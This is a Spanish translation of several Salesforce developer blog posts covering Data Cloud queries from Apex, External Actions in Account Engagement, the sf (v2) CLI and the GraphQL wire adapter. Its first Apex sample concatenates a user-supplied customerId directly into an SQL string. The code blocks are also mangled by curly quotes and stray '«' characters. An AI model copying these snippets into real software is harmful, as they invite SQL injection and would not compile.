El desarrollo de software tradicional es largo y costoso. Con una plataforma de desarrollo de aplicaciones de bajo código ( LCAP ), los usuarios empresariales y de TI pueden desarrollar aplicaciones y flujos de trabajo automatizados a través de una interfaz gráfica de usuario ( GUI ) amigable. Esto puede marcar la diferencia cuando el personal de TI está sujeto a presiones o restricciones.

Hay una razón más para optar por el código bajo. Los esfuerzos de automatización empresarial abarcan negocios y TI. Usando código bajo, los usuarios comerciales pueden trabajar en estrecha colaboración con TI para desarrollar modelos de datos y lógica de procesos con solo hacer clic.

Primeros pasos con la automatización empresarial

La automatización empresarial no tiene por qué ser complicada. Con los consejos que ha aprendido, puede comenzar a implementar flujos de trabajo de automatización hoy mismo . Al desarrollar un área, crear un COE, automatizar para sus equipos de TI y usar un enfoque ágil y código bajo, tiene un comienzo saludable para un proceso de automatización empresarial exitoso. Ahora ve a automatizar.

Seguir leyendo

Liberando el poder de Apex en Salesforce Data Cloud — Parte 1 ☁️

Liberando el poder de Apex en Salesforce Data Cloud — Parte 1 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Libere el poder de Apex en Salesforce Data Cloud — Parte 1 | Blog de desarrolladores de Salesforce

Trailblazer.me estará fuera de línea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pacífico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podrá iniciar sesión en ninguna aplicación relacionada, incluidas Ayuda y capacitación, AppExchange, Trailhead y Trailblazer Community, y más.

Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de múltiples sistemas en una única instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para análisis, aprendizaje automático y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientación sobre cómo utilizarlas de manera efectiva.

Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario estándar de Data Cloud, o que los ISV construyan su propio código para automatizar operaciones específicas de Data Cloud, como la resolución de identidades, la creación y ejecución de conocimientos calculados de Data Cloud o la segmentación.

Objetos de Salesforce Data Cloud frente a objetos estándar/personalizados

Antes de analizar cómo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y cómo difieren con respecto a los objetos estándar/personalizados de Salesforce Platform.

Salesforce Data Cloud tiene un modelo de datos canónico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de cómo estos objetos se asignan entre sí y sus propósitos en la documentación de ayuda.

Los objetos de Data Cloud pueden ingerir y almacenar volúmenes de datos mucho más grandes (en la magnitud de miles de millones de registros) en comparación con los objetos estándar y personalizados regulares en la Plataforma de Salesforce. Los objetos estándar/personalizados están diseñados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .

Otra distinción clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, aún puede lograr la automatización de procesos suscribiéndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es común entre los objetos de la nube de datos y los objetos de la plataforma es que están construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de características de la plataforma, como Salesforce Flow, Apex y Platform Events.

Cómo consultar datos de Data Cloud en Apex

Antes de profundizar en algún código, exploremos un ejemplo de caso de uso de una aplicación de nube de datos.

Ejemplo de caso de uso y supuestos

Para nuestros ejemplos de código en esta publicación de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar análisis, utilizar técnicas de aprendizaje automático y obtener información procesable de los datos.

El código de Apex en esta publicación asume una condición importante: la nube de datos está habilitada y el código de Apex se ejecuta en la organización de la nube de datos y no en las organizaciones de Salesforce que están conectadas a la organización de la nube de datos.

Consultar datos de Data Cloud usando SQL

Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery (ver documentos ) en Apex. Esta clase está disponible en el espacio de nombres ConnectApi (ver documentos ).

A continuación se muestra un fragmento de código de ejemplo que muestra cómo acceder a los datos de un objeto de nube de datos mediante una instrucción SQL.

<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = » + customerId + » ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } «>

En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una página Lightning de caso de objeto estándar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.

Aspectos destacados del código

  • El método toma un parámetro customerId , lo que indica que recupera los datos del panel solar para un cliente específico
  • Se crea una instancia de ConnectApi.CdpQueryInput llamada queryInput para definir la operación de consulta.
  • La propiedad queryInput.sql se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm , filtrado por CustomerId__c
  • La consulta se ejecuta mediante ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput) , que devuelve un objeto ConnectApi.CdpQueryOutputV2 denominado response
  • El response.metadata se asigna a responseMetadata , que almacena los metadatos de la respuesta de la consulta.

Consideraciones importantes

  • Apex tiene un límite de CPU de 10 segundos para transacciones sincrónicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, asegúrese de agregar suficientes filtros y proporcionar contexto (como el recordId con el que está trabajando) para limitar la cantidad de filas y evitar alcanzar el límite de CPU de 10 segundos.
  • Si está recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincrónica y aproveche el límite de CPU de 60 segundos.
  • Recomendamos usar queryAnsiSqlV2 (consulte los documentos ) en lugar de queryAnsiSql para aprovechar las solicitudes posteriores y los tamaños de respuesta más grandes para casos de uso en los que necesita extraer grandes volúmenes de datos.
  • Use nextBatchAnsiSqlV2(nextBatchId) (ver documentos ) para proporcionar batchId de la respuesta anterior para recuperar el siguiente conjunto de resultados.
  • También puede usar SOQL en lugar de SQL, pero asegúrese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.

Cómo buscar información de perfil

Antes de analizar cómo buscar información de perfil de Data Cloud en Apex, debemos comprender qué es un perfil unificado.

Perfil unificado y resolución de identidad

Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene información diferente sobre ella, como diferentes direcciones de correo electrónico. Estos datos únicos se denominan puntos de contacto . Los clientes como Martha están representados por múltiples registros de contacto y perfiles específicos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.

Data Cloud proporciona una función de resolución de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentación y activaciones en varios otros sistemas.

Buscar información de perfil de Data Cloud

A continuación se muestra un código Apex de utilidad de ejemplo que busca información de perfil. Tenga en cuenta que se utiliza el método queryProfileApi de la clase ConnectApi.CdpQuery .

<dx-code-block title language="apex" code-block=" @AuraEnabled public static List getProfileData( String dataModelName, String childDataModelName, String searchKey, String customerName ) { ConnectApi.CdpQueryOutput response = ConnectApi.CdpQuery.queryProfileApi( dataModelName, // Name of the data model object, for example, UnifiedIndividual__dlm customerName, // Value of the primary or secondary key field, for example, John. If unspecified, defaults to the value of the primary key field. childDataModelName, // Name of the child data model object, for example, UnifiedContactPointEmail__dlm. searchKey, // If a field other than the primary key is used, name of the key field, for example, FirstName__c null, // Comma-separated list of equality expressions within square brackets null, // Comma-separated list of child object field names that you want to include in the result 100, // Number of items to return. null, // Number of rows to skip before returning results. null // Sort order for the result set, ); return response.data; } «>

Aquí hay un fragmento de código de ejemplo que invoca el código de utilidad anterior al pasar los parámetros.

<dx-code-block title language="apex" code-block=" List response = DataCloudUtils.getProfileData( ‘UnifiedIndividual__dlm’, ‘UnifiedContactPointEmail__dlm’, ‘ssot__FirstName__c’, ‘Martha’ ); «>

El código busca la información de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm .

Aspectos destacados del código

  • El método utiliza ConnectApi.CdpQuery.queryProfileApi() para ejecutar la consulta de datos de perfil en la nube de datos
  • Los parámetros de consulta incluyen los nombres del objeto del modelo de datos ( dataModelName ), el objeto del modelo de datos secundario ( childDataModelName ), el campo de clave de búsqueda ( searchKey ) y el nombre del cliente ( customerName )
  • Se pueden proporcionar parámetros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificación para el conjunto de resultados.
  • La respuesta de la consulta se almacena en un objeto ConnectApi.CdpQueryOutput llamado response
  • El método devuelve response.data , que representa los datos recuperados de la consulta

Importante consideración

  • Vuelva a verificar los nombres de campo y objeto antes de usarlos en el código de Apex, ya que, de lo contrario, el método puede generar excepciones y errores internos del servidor.

¿Cómo consultar datos de conocimientos calculados?

Los conocimientos calculados le permiten definir y calcular métricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera información calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.

Streaming vs insights calculados

Hay dos tipos de información en Data Cloud: transmisión e información calculada.

Los conocimientos calculados son funciones que pueden calcular métricas en datos históricos. Se procesan en lotes. Por ejemplo, en nuestra aplicación Solar Circles, podemos tener una visión calculada que mide la potencia total generada por los paneles agrupados por cada cliente.

La información de transmisión se genera casi en tiempo real mediante el análisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activación inmediata de acciones en los sistemas posteriores. Por ejemplo, la información de transmisión se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia mínima. Al aprovechar una acción de datos en la transmisión de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.

Consultar datos a partir de una perspectiva calculada

Para consultar datos de las perspectivas calculadas, use el método queryCalculatedInsights de la clase CdpQuery . A continuación se muestra un fragmento de código de ejemplo que muestra cómo consultar datos de una perspectiva calculada conocida.

Aspectos destacados del código

  • El método queryCalculatedInsights de ConnectApi.CdpQuery se usa para recuperar información calculada de Data Cloud.
  • El primer parámetro es el nombre de API de la información calculada, que debe terminar con __cio . Por ejemplo, <calculted insight api name> podría reemplazarse por totalpowergenerated__cio .
  • Los siguientes parámetros especifican dimensiones y medidas. Una dimensión representa un campo o atributo en el que se basa la información, mientras que una medida representa la métrica calculada. Proporcionar null para estos parámetros incluye todas las dimensiones y medidas disponibles.
  • Se puede especificar el orden de clasificación para el conjunto de resultados, pero en este fragmento de código, se establece en null .
  • Los parámetros opcionales adicionales incluyen filtrar el conjunto de resultados a un ámbito o tipo más específico y especificar la cantidad de elementos que se devolverán y la cantidad de filas que se omitirán antes de devolver los resultados.
  • Los datos resultantes se almacenan en un objeto ConnectApi.CdpQueryOutput denominado response .

Importante consideración

  • Asegúrese de proporcionar el nombre de API correcto para la información. Un nombre de API incorrecto da como resultado un error del sistema.

Conclusión

En esta publicación de blog, brindamos una descripción general de cómo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de código y los puntos destacados demuestran enfoques prácticos para acceder y consultar datos de objetos de Data Cloud.

La publicación también destaca las mejores prácticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los límites de la CPU, utilizar el procesamiento asincrónico para grandes conjuntos de datos y garantizar la denominación correcta de la API para los conocimientos calculados.

En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight (consulte los documentos ), CdpIdentityResolution (consulte los documentos ) y CdpSegment (consulte los documentos ) que se pueden usar para administrar información calculada, crear reglas de resolución de identidad y segmentación en Data Cloud mediante Apex.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma de Salesforce. Actualmente se está enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de su Twitter @msrivastav13 .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Comenzando con Acciones Externas ☁️

Comenzando con Acciones Externas ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Introducción a las acciones externas | Blog de desarrolladores de Salesforce

Tuve excelentes conversaciones con clientes y socios en Connections este año, así como a través de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Seguía surgiendo una pregunta: "¿Cómo empiezo con las acciones externas?" En esta publicación, aprenderá qué son las acciones externas, cómo configurarlas y cómo probarlas. Además, sintonice una próxima sesión de codeLive el 20 de julio a las 10 a. m. PT , donde realizaré una demostración de codificación en vivo para mostrarle cómo crear una acción externa y responder sus preguntas.

¿Qué son las Acciones Externas?

Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acción en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatización de la participación de la cuenta en función de un evento de participación que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicación de extensibilidad de automatización para un servicio, por lo que puede tener una extensión de aplicación de marketing por SMS, por ejemplo.

Por este motivo, las acciones externas se empaquetan en una extensión de aplicación de marketing. En el momento de escribir este artículo, las actividades externas aún no se pueden empaquetar, pero eventualmente también se empaquetarán en la extensión de la aplicación de marketing.

Si desea conectar una aplicación de terceros para automatizar la ejecución de una acción de prospecto en ese sistema, entonces esta es definitivamente la función para usted. En esta publicación, profundizaremos en el lado de la acción externa de las extensiones de aplicaciones de marketing.

¿Cuáles son algunos buenos casos de uso para las acciones externas?

Bueno, si me preguntan, ¡diría absolutamente todo! Puede que estés pensando: “¡Claro, todo el mundo dice eso!”. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustaría que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aquí>", entonces deseaba una acción externa.

Puede usar una acción externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). También puede usar una acción externa para enviar un mensaje SMS a través de Twilio, que presentamos en una publicación de blog anterior . Incluso puedes usar acciones externas con webhooks; Usé la función de captura de webhook de Zapier para crear una acción externa que usaba un cliente potencial como desencadenante de un Zap.

¿Qué constituye una acción externa?

Una acción externa consta de una acción invocable de Apex, metadatos de la extensión de la aplicación de marketing, metadatos de una acción externa y una forma de gestionar la autenticación. Los metadatos para las extensiones de la aplicación de marketing y las actividades externas conectan la acción invocable con la participación de la cuenta. Los componentes que se usarán para la autenticación pueden variar según el tipo de autenticación que admita el servicio. Como OAUTH 2.0 es bastante común, el componente que uso más es un proveedor de autorización y Credenciales con nombre . Las credenciales con nombre también facilitan la administración de la autenticación en mi código, y el sistema hace la mayor parte del trabajo.

¿Qué habilidades necesito para trabajar con Acciones Externas?

Con una gran flexibilidad viene la complejidad, por lo que necesitará algunas habilidades en ciertas áreas para construir con éxito una acción externa. Los siguientes son temas clave de los que necesitará una comprensión básica antes de abordar su propia acción externa.

SLDC de Salesforce

Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener éxito en general. Recomiendo aprender Visual Studio y el proceso de implementación de la CLI. No se necesita maestría, solo lo básico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .

Documentación de la API REST

El patrón del que hablamos en este artículo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acción externa, debe poder leer una especificación API. Consulte las especificaciones de la API de Account Engagement y Twilio .

Implementación de Apex y Apex

Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendaría, como mínimo, familiarizarse con la compilación y la implementación de código Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener más información, encontré útil el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el código de la aplicación de referencia .

Flujo de Salesforce (opcional)

No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creación de una interfaz de usuario para controlar las entradas durante la prueba. Si está familiarizado con Engagement Studio, Flow será bastante fácil ya que tiene muchos de los mismos conceptos. Utilicé la ruta Crear flujos con Flow Builder para ponerme al día. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creación de todo tipo de automatización de procesos comerciales.

¿Cómo debo configurar mi entorno de desarrollador?

Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.

  • Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman también proporciona una manera fácil de generar ejemplos.
  • CLI de Visual Studio + Salesforce — Uso Visual Studio para codificar mi acción invocable y la implemento en mi organización de desarrollador. La mayoría de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
  • Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este artículo, solo admitimos paquetes de primera generación (1GP) , por lo tanto, no configure su organización de desarrollador como Dev Hub.
  • Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acción invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
  • Consola de desarrollador de Salesforce : esto le permite ver rápidamente el código o ver los registros de sus pruebas de flujo de pantalla.

Patrón básico para llamadas API REST con acciones externas

Si bien puede codificar acciones externas de muchas maneras, existe un patrón básico que recomiendo al realizar llamadas a la API REST.

Las dos etiquetas que debe recordar son InvocableVariable , que define las entradas y salidas de la acción invocable, e InvocableMethod , que es el método a llamar al ejecutar la acción invocable. Puede ver cómo se aplican en el siguiente código de ejemplo.

Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi código en dos clases facilita jsonificar la carga útil. Mi clase de entrada contiene todos los campos de variables invocables que la acción invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.

InvocableMethod construirá la carga útil a partir de la entrada, la convertirá a JSON y luego la agregará a la solicitud HTTP. A continuación, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el método. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error útil para diagnosticar un problema.

Consideración importante: el marco de acción externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el éxito. Si se devuelve un error, se informará en la tabla de errores.

Poniendo a prueba tus acciones externas

De vez en cuando, mientras crea una acción externa, encontrará errores. Cuanto más pueda probar sobre la marcha, más fácil será descubrir dónde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuración de la acción externa de la imagen, por lo que si la verifica aquí, pero no funciona en Engagement Studio, sabrá que el problema radica en la configuración de la acción externa.

Las pruebas lo ayudan a identificar errores, pero determinar la causa raíz y corregirlos es otra cosa. A continuación se presentan algunas de las técnicas que utilizo para diagnosticar las causas fundamentales.

  • Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi código. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigación de errores.
  • Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integración B2BMA, para poder ver mis registros de Apex y diagnosticar el problema más a fondo. Tenga cuidado, podría terminar con una gran cantidad de datos. El Usuario de Integración B2BMA es el usuario que ejecuta acciones externas.
  • Errores de acción externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acción externa que resultó en una falla. Es útil ver lo que sucedió durante una ejecución de ES.

SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su dirección de correo electrónico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones iría al buzón de correo de ejemplo@ejemplo.com. Por ejemplo, usé esto para probar el ejemplo de registro de Zoom porque no quería que el correo electrónico registrado rebotara.

Errores comunes

Los errores van a suceder, así es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.

El primero es garantizar que la acción exterior sea activa. Si la acción no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensión de la aplicación de marketing como la acción externa, además de asignarla a esa unidad comercial.

El siguiente es asegurarse de que su clase de Apex esté activa. La mayoría de las veces ya estará marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es fácil pasarlo por alto.

Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cuántas veces busco acciones externas, solo para tener un momento de confusión antes de recordar.

Finalmente, si su acción externa no funciona, pero no ve errores, verifique que la acción invocable fue diseñada para generar un error en caso de falla.

Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegrías. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.

¿Que estas esperando? ¡Empiece hoy!

Ahora sabe casi todo lo que hago sobre las acciones externas, desde cómo funciona la función hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustaría hacer algo cuando el cliente potencial haga esto", y lo ayudará a automatizar esa acción.

Entonces, configure su entorno de desarrollador, revise la aplicación de referencia y comience a construir su acción externa hoy. El 20 de julio a las 10 a. m. (hora del Pacífico) , realizaremos una sesión de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , así que únase y síganos mientras construimos una extensión de la aplicación de marketing de Twilio.

Recursos

Sobre el Autor

Christopher Cornett es gerente sénior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante más de cuatro años y tiene más de 13 años de experiencia en gestión de productos, trabajando principalmente en plataformas que van desde la atribución de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qué es posible.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

¡Ya está aquí la CLI sf (v2) de Salesforce! — Parte 1 ☁️

¡Ya está aquí la CLI sf (v2) de Salesforce! — Parte 1 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

¡Ya está aquí la CLI sf (v2) de Salesforce! — Parte 1 | Blog de desarrolladores de Salesforce

La CLI de Salesforce es una de las herramientas de desarrollo más importantes de nuestro ecosistema. La CLI es el compañero diario de los desarrolladores de Salesforce para crear, probar, implementar y más. Además, la CLI es fundamental para las prácticas de DevOps, como la integración continua, donde la automatización es clave. Después de siete años de disponibilidad general, ahora estamos entrando en un nuevo capítulo para la CLI de Salesforce.

Esta publicación es la primera de una serie de blogs de dos partes sobre sf (v2), la nueva y mejorada CLI de Salesforce. En la Parte 1, veremos las novedades de Salesforce CLI sf (v2). Luego, en la segunda parte de la serie, nos sumergiremos en cómo puede migrar de comandos y banderas de estilo sfdx a los nuevos comandos y patrones de bandera de estilo sf .

Anuncio de disponibilidad general (GA) de sf (v2)

Hace aproximadamente dos años, el equipo de CLI de Salesforce se embarcó en una iniciativa de unificación con la visión de unificar las diversas experiencias de CLI en todo el ecosistema de Salesforce. Anunciamos la próxima evolución de nuestra CLI de Salesforce con un nuevo ejecutable llamado sf . La creación de sf como una CLI separada nos dio la oportunidad de diseñar, probar y lanzar no solo una nueva estructura de comando para un rápido desarrollo entre nubes, sino también una CLI más intuitiva, eficaz y fácil de usar.

Hoy, nos complace anunciar la disponibilidad general (GA) de la segunda versión (v2) de sf . Esta es una versión principal de sf CLI que es lo suficientemente inteligente como para comprender todos sus comandos sfdx , así como los comandos sf , con tiempos de instalación y actualización mucho más rápidos. La CLI sf (v2) es todo lo que es sf y sfdx . Después de instalar sf (v2), tendrá acceso a todos los comandos sfdx y sf , y podrá continuar ejecutando cualquiera de ellos.

Adopte el futuro del desarrollo de Salesforce

La CLI sf (v2) es nuestro camino a seguir. Le permite experimentar actualizaciones e instalaciones más rápidas ya que el tamaño de instalación/descarga se ha reducido considerablemente.

Esto significa que todas las capacidades nuevas vendrán solo a través de sf (v2) y dejaremos de publicar actualizaciones en sfdx (excepto las correcciones relacionadas con la seguridad). Además, todas las nuevas correcciones y características del complemento CLI solo entrarán en sf (v2).

Después de una importante investigación de UX, hemos introducido nuevos comandos de estilo sf y patrones de bandera para brindar una mejor experiencia de usuario. Sin embargo, si le preocupan los esfuerzos necesarios para migrar de sfdx a sf , ¡tenemos buenas noticias para usted! Todavía puede usar los comandos sfdx y la CLI sf seguirá respondiendo de la misma manera. Además, solo tendrá un conjunto de complementos CLI en lugar de uno para sfdx y otro para sf (v1). (Nota: si ha instalado complementos, todos los complementos en sf estarán disponibles en sf (v2). Sin embargo, los complementos en sfdx no están disponibles automáticamente en sf (v2). Instale los que necesita usando sf plugins install ) .

Comience con la CLI de Salesforce sf (v2)

Para familiarizarse con sf (v2), siga las instrucciones de instalación , que le mostrarán cómo pasar a sf (v2) y cómo volver a su instalación CLI actual si es necesario.

Nota sobre la instalación de Salesforce CLI sf (v2):

Creamos un alias para sfdx dentro de sf (v2), para que no necesite actualizar sus scripts de sfdx a sf . Dado que sf (v2) utilizará el alias sfdx, deberá desinstalar sfdx para que ese nombre esté disponible para sf (v2)

La CLI sf (v2) no se puede instalar en una máquina que tenga sfdx instalado. Según las instrucciones de instalación de sf (v2), primero debe desinstalar sfdx . Si no desinstala primero sfdx y, en su lugar, intenta instalar sf a través del paquete npm @salesforce/cli , que ahora alberga sf (v2), la instalación fallará. Tenga en cuenta que su CI no debe instalar sfdx , solo sf(v2) .

¿Que sigue?

Estén atentos para obtener más información sobre cómo pasar de los comandos sfdx -style a los comandos sf -style en la parte final de esta serie de blogs.

Mientras explora sf (v2), recuerde informar cualquier error, solicitud de función o comportamiento sorprendente a través del repositorio CLI GitHub . ¡Estamos emocionados de saber de usted y, como siempre, le agradecemos su apoyo!

Recursos

Sobre los autores

Pooja Reddivari es gerente sénior de gestión de productos en la organización Herramientas y experiencia para desarrolladores de plataformas en Salesforce. Le apasiona crear productos escalables y resistentes que deleiten a desarrolladores y clientes. Pooja ha trabajado en las verticales de empresa, educación y fintech con más de 12 años de experiencia como profesional de ingeniería y gestión de productos. Sígala en Twitter @poojasalesforc1 y en LinkedIn .

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Explore el adaptador de cable GraphQL, ahora en versión beta ☁️

Explore el adaptador de cable GraphQL, ahora en versión beta ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Explore el adaptador de cable GraphQL, ahora en versión beta | Blog de desarrolladores de Salesforce

¡Atención, desarrolladores de Salesforce! Hemos estado incursionando en GraphQL durante algún tiempo y estamos llevando las cosas al siguiente nivel. Hace unos meses, anunciamos el lanzamiento piloto del adaptador de cable GraphQL. Mantenga sus soportes porque estamos implementando la versión beta del adaptador de cable GraphQL de Salesforce en nuestro lanzamiento de verano '23. En este blog, exploraremos las novedades de la versión Beta y cómo utilizar Recetas de LWC para crear fácilmente su aplicación Salesforce con la tecnología de GraphQL.

La versión Beta del GraphQL Wire Adapter es un avance significativo en la gestión de datos de Salesforce en LWC. Con la introducción de nuevas funciones, como Recetas LWC, Actualización de datos e Integridad referencial, el proceso de desarrollo se ha vuelto más ágil y eficiente.

